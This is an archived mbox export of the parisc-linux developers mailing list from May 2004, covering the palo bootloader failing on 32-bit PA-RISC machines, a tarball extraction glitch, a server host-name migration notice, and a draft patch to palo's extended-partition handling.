X-List-Received-Date: Tue, 04 May 2004 19:36:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21601

Hi all,

after apt-get upgrading to palo_1.4_hppa.deb it seems, that palo-1.4 isn't able any longer to boot up a 32bit Linux kernel on a 32bit Machine.
I've run several tests on a B180L, and only after downgrading to palo-1.3 I was able to boot again.

Am I the only one seeing this problem ? 
Anyone maybe has an idea what has been changed ?

Helge


From - Thu Nov 08 21:32:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] source tarballs give "bzip2 (stdin) trailing garbage
	after EOF ignored"
Date: Tue, 4 May 2004 21:41:29 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <200405042141.29921.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623433 9250 80.91.229.3 (22 Nov 2014 02:30:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Tue May  4 13:41:33 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 71CF24840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 May 2004 13:41:32 -0600 (MDT)
Original-Received: (qmail 26209 invoked by uid 65534); 4 May 2004 19:41:31 -0000
Original-Received: from pD90403D6.dip.t-dialin.net (EHLO p100) (217.4.3.214)
	by mail.gmx.net (mp015) with SMTP; 04 May 2004 21:41:31 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.6.52
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 04 May 2004 19:41:33 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21602

Hi all,

today I found the following small glitch with the linux kernel source tarballs available from 
http://cvs.parisc-linux.org/download/linux-2.6
(e.g. http://cvs.parisc-linux.org/download/linux-2.6/linux-2.6.6-rc3-pa7.tar.bz2)

Extracting with "tar xvfj <filename>"  gives:
....
linux-2.6.6-rc3-pa7/.versions
bzip2: (stdin): trailing garbage after EOF ignored

Helge


From - Thu Nov 08 21:32:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo-1.4 broken on 32bit ?
Date: 04 May 2004 14:46:46 -0500
Lines: 63
Approved: news@gmane.org
Message-ID: <1083700007.1722.2.camel@mulgrave>
References: <200405042136.28626.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623433 9252 80.91.229.3 (22 Nov 2014 02:30:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:33 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: James.Bottomley@SteelEye.com  Tue May  4 13:46:51 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id A18164840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 May 2004 13:46:50 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i44Jkla07717; Tue, 4 May 2004 15:46:47 -0400
In-Reply-To: <200405042136.28626.deller@gmx.de>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 04 May 2004 19:46:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21603

On Tue, 2004-05-04 at 14:36, Helge Deller wrote:
> after apt-get upgrading to palo_1.4_hppa.deb it seems, that palo-1.4 isn't able any longer to boot up a 32bit Linux kernel on a 32bit Machine.
> I've run several tests on a B180L, and only after downgrading to palo-1.3 I was able to boot again.
> 
> Am I the only one seeing this problem ? 
> Anyone maybe has an idea what has been changed ?

Well, it works just fine for me:

redscar:~# palo -v
palo version 1.4 bame@c3k Fri Mar 26 16:18:35 MST 2004
ELF32 executable
Partition Start(MB) End(MB) Id Type
1               1     257   82 swap
2             258     277   f0 Palo
3             278    2045   83 ext2
4            2046    4094   83 ext2
F0 partition start sector 527744 length 41230
do_ra(1, 5, 3, -1, '3/boot/vmlinux initrd=3/boot/initrd.img
root=/dev/sda3 HOME=/ console=ttyS0 console=tty0', 4, -1, 270204928,
21109760)
check_bootloader 213
checksum(0x2f2b0, 36864) = 0x00000000
ipl: addr 270204928 size 36864 entry 0x0
 ko 0x0 ksz 0 k64o 0x0 k64sz 0 rdo 0 rdsz 0
<3/boot/vmlinux initrd=3/boot/initrd.img root=/dev/sda3 HOME=/
console=ttyS0 console=tty0>
check_bootloader 650
checksum(0x262a8, 36864) = 0x00000000
ipl: addr 270204928 size 36864 entry 0x0
 ko 0x101f0000 ksz 3421952 k64o 0x0 k64sz 0 rdo 0 rdsz 0
<3/boot/vmlinux initrd=3/boot/initrd.img root=/dev/sda3 HOME=/
console=ttyS0 console=tty0>
redscar:~# cat /proc/cpuinfo 
processor       : 0
cpu family      : PA-RISC 1.1e
cpu             : PA7300LC (PCX-L2)
cpu MHz         : 180.000000
model           : 9000/778/B180L
model name      : Merlin L2+ 180 (9000/778/B180L)
hversion        : 0x00005040
sversion        : 0x00000481
I-cache         : 64 KB
D-cache         : 64 KB (WB)
ITLB entries    : 96
DTLB entries    : 96 - shared with ITLB
BTLB fixed      : max. 16384 pages, pagesize=4096 (64MB)
BTLB fix-entr.  : 0 instruction, 0 data (8 combined)
BTLB var-entr.  : 0 instruction, 0 data (0 combined)
bogomips        : 119.60
software id     : 2012752031

However, there have been several reports of intermittent failures with
later versions of palo; if you could actually track the issue down, that
would be greatly appreciated.

The current thought is that it's a command line issue (i.e. embedding a
commmand line >128 characters in palo causes failures).

James




From - Thu Nov 08 21:32:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo-1.4 broken on 32bit ?
Date: Tue, 4 May 2004 21:56:01 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <200405042156.02014.deller@gmx.de>
References: <200405042136.28626.deller@gmx.de>
	<1083700007.1722.2.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623433 9255 80.91.229.3 (22 Nov 2014 02:30:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:33 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: deller@gmx.de  Tue May  4 13:56:14 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 95FD24840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 May 2004 13:56:13 -0600 (MDT)
Original-Received: (qmail 24356 invoked by uid 65534); 4 May 2004 19:56:08 -0000
Original-Received: from pD90403D6.dip.t-dialin.net (EHLO p100) (217.4.3.214)
	by mail.gmx.net (mp025) with SMTP; 04 May 2004 21:56:08 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.6.52
In-Reply-To: <1083700007.1722.2.camel@mulgrave>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 04 May 2004 19:56:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21604

On Tuesday 04 May 2004 21:46, James Bottomley wrote:
> On Tue, 2004-05-04 at 14:36, Helge Deller wrote:
> > after apt-get upgrading to palo_1.4_hppa.deb it seems, that palo-1.4 isn't able any longer to boot up a 32bit Linux kernel on a 32bit Machine.
> > I've run several tests on a B180L, and only after downgrading to palo-1.3 I was able to boot again.
> > 
> > Am I the only one seeing this problem ? 
> > Anyone maybe has an idea what has been changed ?
> 
> Well, it works just fine for me:
> 
> redscar:~# palo -v
> palo version 1.4 bame@c3k Fri Mar 26 16:18:35 MST 2004
> ELF32 executable
> Partition Start(MB) End(MB) Id Type
> 1               1     257   82 swap
> 2             258     277   f0 Palo
> 3             278    2045   83 ext2
> 4            2046    4094   83 ext2
> F0 partition start sector 527744 length 41230
> do_ra(1, 5, 3, -1, '3/boot/vmlinux initrd=3/boot/initrd.img
> root=/dev/sda3 HOME=/ console=ttyS0 console=tty0', 4, -1, 270204928,
> 21109760)
> check_bootloader 213
> checksum(0x2f2b0, 36864) = 0x00000000
> ipl: addr 270204928 size 36864 entry 0x0
>  ko 0x0 ksz 0 k64o 0x0 k64sz 0 rdo 0 rdsz 0
> <3/boot/vmlinux initrd=3/boot/initrd.img root=/dev/sda3 HOME=/
> console=ttyS0 console=tty0>
> check_bootloader 650
> checksum(0x262a8, 36864) = 0x00000000
> ipl: addr 270204928 size 36864 entry 0x0
>  ko 0x101f0000 ksz 3421952 k64o 0x0 k64sz 0 rdo 0 rdsz 0
> <3/boot/vmlinux initrd=3/boot/initrd.img root=/dev/sda3 HOME=/
> console=ttyS0 console=tty0>
> redscar:~# cat /proc/cpuinfo 
> processor       : 0
> cpu family      : PA-RISC 1.1e
> cpu             : PA7300LC (PCX-L2)
> cpu MHz         : 180.000000
> model           : 9000/778/B180L
> model name      : Merlin L2+ 180 (9000/778/B180L)
> hversion        : 0x00005040
> sversion        : 0x00000481
> I-cache         : 64 KB
> D-cache         : 64 KB (WB)
> ITLB entries    : 96
> DTLB entries    : 96 - shared with ITLB
> BTLB fixed      : max. 16384 pages, pagesize=4096 (64MB)
> BTLB fix-entr.  : 0 instruction, 0 data (8 combined)
> BTLB var-entr.  : 0 instruction, 0 data (0 combined)
> bogomips        : 119.60
> software id     : 2012752031
> 
> However, there have been several reports of intermittent failures with
> later versions of palo; if you could actually track the issue down, that
> would be greatly appreciated.
> 
> The current thought is that it's a command line issue (i.e. embedding a
> commmand line >128 characters in palo causes failures).

Ok, I will test this tomorrow (the machine is in the office)..

Thanks for the hint,
Helge


From - Thu Nov 08 21:32:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo-1.4 broken on 32bit ?
Date: Tue, 4 May 2004 14:11:22 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20040504201122.GA32258@colo.lackof.org>
References: <200405042136.28626.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623434 9262 80.91.229.3 (22 Nov 2014 02:30:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: grundler@lackof.org  Tue May  4 14:11:24 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA2E04903
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 May 2004 14:11:23 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 50F4B298053; Tue,  4 May 2004 14:11:23 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 32144-08; Tue, 4 May 2004 14:11:22 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 98D6629802E; Tue,  4 May 2004 14:11:22 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200405042136.28626.deller@gmx.de>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 04 May 2004 20:11:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21605

On Tue, May 04, 2004 at 09:36:28PM +0200, Helge Deller wrote:
> Hi all,
> 
> after apt-get upgrading to palo_1.4_hppa.deb it seems, that palo-1.4 isn't able any longer to boot up a 32bit Linux kernel on a 32bit Machine.
> I've run several tests on a B180L, and only after downgrading to palo-1.3 I was able to boot again.
> 
> Am I the only one seeing this problem ? 

No - I've been seeing it on the c3600 as well.
I haven't tried 64-bit kernels.
And downgrading iplboot to 1.3 also solves it for me too.

palo 1.3 deb is available here in case someone has upgraded:
	http://iou.parisc-linux.org/~grundler/palo/palo_1.3_hppa.deb

thanks to paul bame for keeping those around.

> Anyone maybe has an idea what has been changed ?

nope...have to look at palo since it doesn't matter which
kernel I attempt to boot, it doesn't work.

Note that I tried to build palo v1.2 and that failed the same way.
So it's possibly a compiler issue with real-mode code.
(Not that the compiler knows the difference...)

grant


From - Thu Nov 08 21:32:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo-1.4 broken on 32bit ?
Date: Tue, 4 May 2004 21:33:30 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20040504203330.GF9603@linuxcare.com>
References: <200405042136.28626.deller@gmx.de>
	<20040504201122.GA32258@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623434 9274 80.91.229.3 (22 Nov 2014 02:30:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:34 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: richard@sleepie.demon.co.uk  Tue May  4 14:37:06 2004
Return-Path: <richard@sleepie.demon.co.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.linuxcare.com (mail.linuxcare.com [69.36.243.36])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8FFC54903
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 May 2004 14:37:06 -0600 (MDT)
Original-Received: from sleepie.demon.co.uk (cpc1-hem11-4-0-cust109.lutn.cable.ntl.com
	[80.2.252.109])
	by mail.linuxcare.com (8.12.11/8.12.8) with ESMTP id i44KZxDX025973;
	Tue, 4 May 2004 13:36:05 -0700
Original-Received: by sleepie.demon.co.uk (Postfix, from userid 500)
	id C5CE5127F4F; Tue,  4 May 2004 21:33:30 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20040504201122.GA32258@colo.lackof.org>
User-Agent: Mutt/1.4i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 04 May 2004 20:37:07 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21606

On Tue, May 04, 2004 at 02:11:22PM -0600, Grant Grundler wrote:
> On Tue, May 04, 2004 at 09:36:28PM +0200, Helge Deller wrote:
> > Hi all,
> > 
> > after apt-get upgrading to palo_1.4_hppa.deb it seems, that palo-1.4 isn't able any longer to boot up a 32bit Linux kernel on a 32bit Machine.
> > I've run several tests on a B180L, and only after downgrading to palo-1.3 I was able to boot again.
> > 
> > Am I the only one seeing this problem ? 
> 
> No - I've been seeing it on the c3600 as well.
> I haven't tried 64-bit kernels.
> And downgrading iplboot to 1.3 also solves it for me too.
> 
> palo 1.3 deb is available here in case someone has upgraded:
> 	http://iou.parisc-linux.org/~grundler/palo/palo_1.3_hppa.deb
> 
> thanks to paul bame for keeping those around.
> 
> > Anyone maybe has an idea what has been changed ?
> 
> nope...have to look at palo since it doesn't matter which
> kernel I attempt to boot, it doesn't work.
> 
> Note that I tried to build palo v1.2 and that failed the same way.
> So it's possibly a compiler issue with real-mode code.
> (Not that the compiler knows the difference...)

When I last tried to build palo 1.4 the iplboot turned out bigger
(8K, iirc) than the one in the official deb, and mine didn't work.
Didn't have time to figure out why.

Richard



From - Thu Nov 08 21:32:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@ldl.fc.hp.com (Paul Bame)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] machine migration, action required for some
Date: Tue, 4 May 2004 16:11:29 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <20040504221129.GA28695@ldl.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623434 9278 80.91.229.3 (22 Nov 2014 02:30:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:34 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: bame@ldl.fc.hp.com  Tue May  4 16:11:28 2004
Return-Path: <bame@ldl.fc.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 05AAB4842
	for <parisc-linux@parisc-linux.org>;
	Tue,  4 May 2004 16:11:28 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp.fc.hp.com [15.11.136.119])
	by atlrel7.hp.com (Postfix) with ESMTP id BBE561C00667
	for <parisc-linux@parisc-linux.org>;
	Tue,  4 May 2004 18:11:27 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp1.fc.hp.com (Postfix) with ESMTP id 8FC41394BC
	for <parisc-linux@parisc-linux.org>;
	Tue,  4 May 2004 16:11:27 -0600 (MDT)
Original-Received: from fc.hp.com (paul.bame [10.66.2.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id 277E61340C2
	for <parisc-linux@parisc-linux.org>;
	Tue,  4 May 2004 16:11:27 -0600 (MDT)
Original-Received: by fc.hp.com (Postfix, from userid 16602)
	id 59DDB7377E; Tue,  4 May 2004 16:11:29 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 04 May 2004 22:11:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21607

We're moving most of the virtual host names which were aliases of
dsl2.external.hp.com to point at palinux.external.hp.com which until
now was only serving as cvs.parisc-linux.org.  Most people should not
experience any interruption in service but IF YOU HAVE AN ACCOUNT ON
DSL2 read on...

The host names which have moved or will soon move are:

parisc-linux.org
www.parisc-linux.org
ftp.parisc-linux.org
rsync.parisc-linux.org
register.parisc-linux.org
hwdb.parisc-linux.org
testhwdb.parisc-linux.org

We're not sure the best way and time to move the e-mail related ones yet
but that's coming too.

IF YOU HAVE AN ACCOUNT ON DSL2... and you use any *.parisc-linux.org
host names to refer to personal web pages (I do), move them to
palinux.external.hp.com.

Although we don't have a turn-off date for dsl2, now's a good time to
move those other things you depend upon to palinux.external just in
case...  things like e-mail forwarding and files you share with other
developers via ssh through dsl etc...

	-Paul


From - Thu Nov 08 21:32:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] palo extended partition patch
Date: Tue, 4 May 2004 16:56:34 -0600
Lines: 50
Approved: news@gmane.org
Message-ID: <20040504225634.GB32258@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623435 9281 80.91.229.3 (22 Nov 2014 02:30:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: grundler@lackof.org  Tue May  4 16:56:39 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E51A4842
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 May 2004 16:56:39 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id F045829805B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 May 2004 16:56:34 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 02457-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 4 May 2004 16:56:34 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 388C1298053; Tue,  4 May 2004 16:56:34 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 04 May 2004 22:56:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21608

Hi all,

I was looking at palo and noticed the code to handle extended
partitions beyond 2GB wasn't very elegant and maybe wrong.

But I don't have extended partitions on any of my systems.
Anyone who does can build/test this for me?

I'm also wondering if the "Skipping extended partition"
message should really be printed or not.

thanks
grant

Index: lib/diskpart.c
===================================================================
RCS file: /var/cvs/palo/lib/diskpart.c,v
retrieving revision 1.6
diff -u -p -r1.6 diskpart.c
--- a/lib/diskpart.c	4 May 2004 21:41:05 -0000	1.6
+++ b/lib/diskpart.c	4 May 2004 22:01:25 -0000
@@ -53,12 +53,24 @@ load_partitions(int bootdev, struct disk
 	while (extnum < maxparts)
 	{
 	    /* we're currently using 32-bit file seeks which is ok since
-	     * the IPL is also limited to 2G right now.  So on big disks
-	     * this next read may fail, and we need to let that happen
-	     * gracefully.
+	     * the IPL is also limited to 2G right now.  On disks > 4GB
+	     * this next read may fail. Handle that gracefully.
+	     * Yes, we know newer IODC can read/write > 2GB but
+	     * it would confuse too many people if the docs attempted
+	     * to explain for no tangible benefit. And moving boot disks
+	     * between systems will always work (assuming a useable
+	     * kernel is present).
 	     */
+	    if (offset >= (2 * 1024 * 1024 * 1024 / 512)) {
+		printf("Skipping extended partition %d - beyond reach of IPL\n\r",
+				extnum);
+		break;
+	    }
 	    if (seekread(bootdev, (char *)&fb, sizeof fb, 512 * offset) == -1)
+		printf("seekread(bootdev,...,0x%x) failed!\n\r",
+				512 * offset);
 		break;
+	    }
 	    if (fb.dosmagic[0] != 0x55 || fb.dosmagic[1] != 0xaa)
 	    {
 		printf("Bad DOS magic in extended partition\n\r");


From - Thu Nov 08 21:32:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 05 May 2004 15:50:43 -0500
Lines: 70
Approved: news@gmane.org
Message-ID: <1083790244.2201.462.camel@mulgrave>
References: <20040505204811.27F0C4945E4@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623435 9284 80.91.229.3 (22 Nov 2014 02:30:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:35 +0000 (UTC)
